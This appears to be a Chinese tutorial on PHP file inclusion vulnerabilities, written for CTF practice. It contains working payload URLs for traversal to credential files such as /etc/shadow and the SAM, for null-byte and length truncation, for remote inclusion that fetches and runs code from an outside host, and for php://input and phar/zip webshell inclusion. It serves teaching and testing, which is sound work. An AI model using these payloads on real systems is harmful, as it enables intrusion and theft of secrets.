文件包含漏洞:

前言

关于文件包含漏洞,我一直都没有进行一个比较系统的总结,现在我就对基于PHP语言下的文件包含漏洞进行对包含原理的笔记。

原理:

这个漏洞出现的原理,主要和现在一般采用的模块化工作方式有关系。为了保证开发的效率以及后期改正的情况,程序工作者往往采用模块化的方式对程序进行一个编写,这样在后期出现问题的时候,就可以直接对模块进行维修,而不用对所有代码进行重新审计。这样就保证了代码的简洁性。

基于以上原理,在对于模块化的代码文件进行引用的时候,会需要使用一些特定的函数对文件进行一个“包含”。同时,为了保证程序的灵活性,进行包含的文件往往都会是一个可变的参数。

这就给黑客的攻击提供了空间。

黑客攻击往往会对包含的文件进行修改,使得被包含的文件内容超出程序编写者的预想,而导致出现风险。

文件包含函数(PHP):

在PHP中,有四种函数可以使用文件包含的效果:

include()
include_once()
require()
require_once()

这里我们可以通过手册来查询一下这几个函数的作用:

https://www.php.net/manual/zh/index.php

首先是include(),手册中是这么写的:include 表达式包含并运行指定文件。

这一点也同时适用于require()函数。

这两个函数的主要区别只是在于,include()函数在运行时,如果出错了,会只是产生一个warning,然后继续运行后面的脚本。

但是require()函数在出错的时候,会直接产生一个**E_COMPILE_ERROR的错误,导致程序直接停止运行。

而剩下的两个函数,include_once()于require_once()和上面的函数基本相同,只是它们只会对同一个文件进行一次包含。因此,常用于for、while这种循环中。

文件包含漏洞常常出现的作用:

1、本地文件包含:

这个漏洞的攻击方式通常需要配合目录穿越漏洞进行一同操作。

通过../来进行本地文件的读取,通过修改文件路径来改变对文件的包含,以此获取一些隐私的信息,或是flag。

常见敏感路径:

windows:

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

Linux:

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

这里可以通过对于文件路径的推测来进行对于文件的读取。

session文件包含漏洞:

这个漏洞属于是文件包含漏洞的二次衍生漏洞。

首先是关于session文件的说明:

session文件,基本上可以理解为是一个临时的,存放在服务器端的容器,当用户没有关闭浏览器之前,其中的东西都是存在的。这个容器一般用于存储用户的一些信息。当用户进行访问的时候,服务器会为每个用户分配唯一的session。

这个文件和cookie不一样的地方就是,这个文件都是存储在服务器上的,而cookie文件是存储在用户的主机上的。

本质上,采用session是为了对用户的浏览状态进行一个保留,当在同一域名中切换时,可以对用户当前的状态进行保留,同时可以避免用户更改cookie文件导致出现不必要的危险。


对于session的存储位置,一般可以直接通过phpinfo()去获取,通过直接查看phpinfo()中session.save_path的部分,就可以看见对应的路径。

一般来说,在Linux系统中,会默认存储在/var/lib/php/session的目录下面。

而在windows系统中,默认C:\WINDOWS\Temp或集成环境下的tmp文件夹里

可以通过代码对session中的内容进行控制,传入恶意代码。

eg:

<?php

session_start();

$ctfs=$_GET['ctfs'];

$_SESSION["username"]=$ctfs;

?>

可以通过这个例子来看一下用来控制session文件的代码。

首先是来看一下session_start()这个函数的作用,在官方文档(https://www.php.net/manual/zh/function.session-start.php)中写道:

session_start() 会创建新会话或者重用现有会话。 如果通过 GET 或者 POST 方式,或者使用 cookie 提交了会话 ID, 则会重用现有会话。

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会调用会话管理器的 open 和 read 回调函数。 会话管理器可能是 PHP 默认的, 也可能是扩展提供的(SQLite 或者 Memcached 扩展), 也可能是通过 session_set_save_handler() 设定的用户自定义会话管理器。 通过 read 回调函数返回的现有会话数据(使用特殊的序列化格式存储), PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量。

这里可以看出来,如果要创建一个session文件,就要首先用这个函数进行一个类似于初始化的操作(即是之前写的创建新会话或重用现有会话)

然后对代码后面进行分析:

将一个值通过get方式进行传参,然后使用创建一个超全局变量,将其值赋为传入的参数。

通常,在PHP脚本结束的时候,会将未被销毁的session变量保存在服务器的一个路径文件下

也就是在执行完以上的代码之后,将get获取的变量存入到session文件中。

这时我们可以知道的是,session文件名会被命名为sess_+sessionid的格式。

sessionid被存放在服务器内存和客户机的cookie里面,可以通过开发者模式看见。

这就可以发现一个问题,因为没有对传入的ctfs这个参数进行过滤,所以会导致可以传入小马进行getshell。

例如直接将传入的值改为 ,恶意代码就会被保存至服务器文件中,此时如果存在文件包含漏洞,就可以将session文件进行包含解析为php内容。

导致getshell。

2、有限制本地文件包含漏洞:

%00截断:

这里需要使用到PHP的一个版本漏洞,即文件名的%00截断:

条件:1、magic_quotes_gpc = Off 2、php版本<5.3.4

通常采用的绕过方式:

<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>

payload:

http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00

代码分析:

这个代码很简单,可以看见的是,$filename变量被通过get方式传入一个值,然后通过与.html进行拼接后,形成需要被包含的文件名。

因此,当传入构建的payload的时候,会在检测到boot.ini%00的时候被截断,就将包含的文件变为了boot.ini。

路径长度截断:

条件:windows OS,点号需要长于256;linux OS 长于4096

这里是利用的两种操作系统下的目录长度限制。

Windows下目录最大长度为256个字节

Linux下目录最大长度为4096个字节

超过目录最大长度的时候,超出的部分会被丢弃。

测试代码:

<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>

代码解释和之前一样

payload:

http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

原理:

这里是通过使用文件路径中的./表示本文件,来创造垃圾字段长度,来对后面.html文件后缀进行截断。

点截断:

基本原理类似于长度截断,直接放payload了:

http://www.ctfs-wiki.com/FI/FI.php
?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

点符号超过256字节即可在windows系统下进行截断。

3、远程文件包含漏洞:

PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

allow_url_fopen配置作用:该配置设置为off的时候,用户将不能通过url打开文件。

allow_url_include配置作用:当该配置被设置为了off的时候,访问者将不能包含本网站之外的文件。

通过对于上面两个的配置了解,应该就大概能知道为什么会导致远程文件包含漏洞的产生。

从PHP5.2开始,allow_url_include()就被默认为是关闭的了,而allow_url_fopen却始终是开启的。

1、无限制远程文件包含漏洞:

<?php
$filename = $_GET['filename'];
include($filename);
?>

payload:

http://www.ctfs-wiki.com/FI/FI.php?filename=http://192.168.91.133/FI/php.txt

解释一下上述payload:

这里是通过get方式将一个文件对于的url链接作为文件名传入了进去,再对不在自己服务器上的文件进行了一个包含文件。

然后.txt文件中的PHP探针被执行,成功的getshell。

有限制远程文件包含漏洞绕过思路:

<?php include($_GET['filename'] . ".html"); ?>

简单的参考代码。

分析:当尝试通过远程文件包含的时候,会在文件的后缀处拼接一个.html,导致文件的后缀出现改变。

这里列出比较常见的几种绕过方式:

1、问号绕过:

这种绕过的方式比较简单,就是在文件对应的url链接部分的后面加上一个?就可以了,这样就会出现一个截断的效果。

payload如下:

http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?
2、#号绕过:

同上,但是要注意对#号进行url编码:

payload:

http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt&23

这里的%23就是#的url编码格式。

3、空格绕过:

payload:

http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20

同上,这里要对空格进行url编码,变成%20。

4、PHP伪协议:

这里是比较重要的地方,主要是对php伪协议的了解。

这里首先放一个师傅的文章https://arg1nt.gitee.io/2021/03/undefined/php%E4%BC%AA%E5%8D%8F%E8%AE%AE%E8%BF%9B%E9%98%B6/

这是一篇比较实用的总结。

要进行对PHP伪协议的学习,首先要对伪协议有一个了解,这里我把PHP使用手册贴上来,看到这里的大家可以去翻阅一下。

https://www.php.net/manual/zh/wrappers.php.php

一般来说主要会遇到的PHP伪协议有这样几种:

file://

php://

phar://

zlib://

对于开始学PHP伪协议的人,我建议还是首先答题的了解一下伪协议的效果以及作用能力。

可以考虑参考一下这一个文章:https://m.php.cn/article/430458.html

image-20211120170350098

测试用代码:

<?php
$filename = $_GET['filename'];
include($filename);
?>

php://伪协议:

按照上面的图片可知,php://协议主要是用于提供访问输入/输出流的方法,同时也将会允许访问PHP的错误描述符,内存、磁盘备份的临时文件流,以及可以操作其他读写文件资源的过滤器。

image-20211120171938072

对于php:// 这个协议来说,是支持多种的过滤器嵌套的,也就是可以使用多个过滤器。

php://filter(本地磁盘文件读取)

image-20211120194724327

这个伪协议是一个元封装器,设计着用于数据流打开的时候,“筛选过滤“应用,可以对本地磁盘文件进行读写。

简单来说就是可以用于读取文件源代码,一般在知道网站路径的情况下使用。

比较特殊的地方是,filter再两个设置都是off的时候还是可以使用。

格式:

php://filter/resource=[文件名]
eg:
http://127.0.0.1/include.php?file=php://filter/resource=phpinfo.txt

payload:

?filename=php://filter/convert.base64-encode/resource=xxx.php ?

通过以上payload可以对文件进行一个读取。(针对php文件会需要使用base64编码进行输出,否则会直接将源代码当作PHP代码执行,会看不见内容)

此时返回的将是对应.php文件的base64加密后的代码内容。对于不在同一目录下的文件,需要写好相对路径

无论是post还是get方式都可以使用。

php://input

这里引用以下php手册中的描述:

php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 而且,这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data 潜在需要更少的内存。 enctype="multipart/form-data" 的时候 php://input 是无效的。

allow_url_fopen和allow_url_include这两个参数都要处于打开的状态。但是使用enctype=”multipart/form-data”的时候php://input是无效的。

具体的效果就是可以将POST请求中的数据作为PHP代码来执行,但是需要使用include()函数进行来打开。

主要做法是将GET部分修改为php://input,然后POST部分修改为想要传输的PHP代码。

img

file://伪协议:

通过file协议可以访问到本地文件系统,同时可以读取到文件的内容。

引用PHP手册:

文件系统 是 PHP 使用的默认封装协议,展现了本地文件系统。 当指定了一个相对路径(不以/、\、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。 在很多情况下是脚本所在的目录,除非被修改了。 使用 CLI 的时候,目录默认是脚本被调用时所在的目录。

在某些函数里,例如 fopen()file_get_contents()include_path 会可选地搜索,也作为相对的路径。

这个协议本身不受allow_url_fopen和allow_url_include这两个参数的影响。

同时,传入的文件路径只能是绝对路径。

data://伪协议:

自 PHP 5.2.0 起 data:(» RFC 2397)数据流封装器开始有效。

数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的。

也就是相当于是一个命令执行的语句,通过url进行传入

需要allow_url_include,allow_url_fopen两个配置参数on。

类似于php://input, 可用于file_get_contents()绕过。

image-20211202151424208

image-20211202151722218

这里是在一个使用方法。

值得注意的是上面的提示,如果不将等号和加号变成url编码形式,是真的会识别不了。

phar://伪协议:

引用一下PHP手册上的介绍:

phar:// 数据流包装器自 PHP 5.3.0 起开始有效。详细的描述可参见 Phar 数据流包装器

这个函数就是PHP中解开压缩包的一个函数,不管后缀是什么,都可以作为压缩包来进行解压。

这里比较主要的用法就是首先写一个一句话木马,然后,再把木马变成一个zip格式的压缩包,将后缀改变为jpg,png格式,然后再把它传上去。

接下来就使用phar在url中进行一句话木马的访问,基本格式如下:

?file=phar://压缩包/内部文件 phar://xxx.png/shell.php

<?php
$filename = $_GET['filename'];
include($filename);
?>

测试代码

payload:

http://www.ctfs-wiki.com/FI/FI.php?filename=phar://shell.jpg/shell.php

这样就将shell.php文件进行了一个文件包含。

zip://伪协议:

zlib://

bzip2://

zip://

以上三个伪协议的效果是一样的。

zlib: 的功能类似 gzopen(),但是 其数据流还能被 fread() 和其他文件系统函数使用。 不建议使用,因为会和其他带“:”字符的文件名混淆; 请使用 compress.zlib:// 替代。

compress.zlib://、 compress.bzip2:// 和 gzopen()bzopen() 是相等的。并且可以在不支持 fopencookie 的系统中使用。

ZIP 扩展 注册了 zip: 封装器。 自 PHP 7.2.0 和 libzip 1.2.0+ 起,加密归档开始支持密码,允许数据流中使用密码。 字节流上下文(stream contexts)中使用 'password' 选项设置密码。

以上来自PHP手册。

zip://和phar://类似,但是用法不同。

使用格式:

?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]

eg:zip://xxx.png#shell.php

使用条件:

条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

也就是在url中,要对#进行编码。